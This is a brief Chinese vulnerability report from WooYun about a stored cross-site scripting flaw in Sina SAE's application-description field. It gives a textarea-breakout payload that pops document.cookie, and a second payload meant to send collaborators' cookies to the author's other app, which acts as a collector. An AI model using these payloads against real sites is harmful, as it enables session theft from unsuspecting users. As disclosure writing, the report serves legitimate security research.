WooYun.org

1.厉害的白帽子都有自己的服务器，所以我就选择的去新浪sae网站去看了一下
2.搭建自己的网页应用服务，看见应用设置中的应用描述是个textarea,所以就想试试能不能弹窗，输入代码

</textarea><script>alert(document.cookie)</script>

看见了弹窗

可是现在弹窗，只能自己看自己的cookie，有没有办法让别人进入这个页面呢
发现代码管理中可以邀请别人，所以我邀请了一位童鞋来当参与者

3.这位童鞋接受了我的邀请

然后问同鞋对这个应用有什么权限，他发来截图

他也有应用设置的权限，让他点下，他那边也弹窗，这应该是个xss漏洞了。
那么我就可以将alert(document.cookie)代码修改一下，
改成发送到我另一个ａｐｐ的代码
</textarea><img src="web2.sinaapp.com?c=<script>document.cookie</script>"　width=0 height=0>
这样就可以将cookie值传入另一个ａｐｐ中，这个ａｐｐ当作专门调取别人的cookie来用。
另一个ａｐｐ来接受别人的cookie。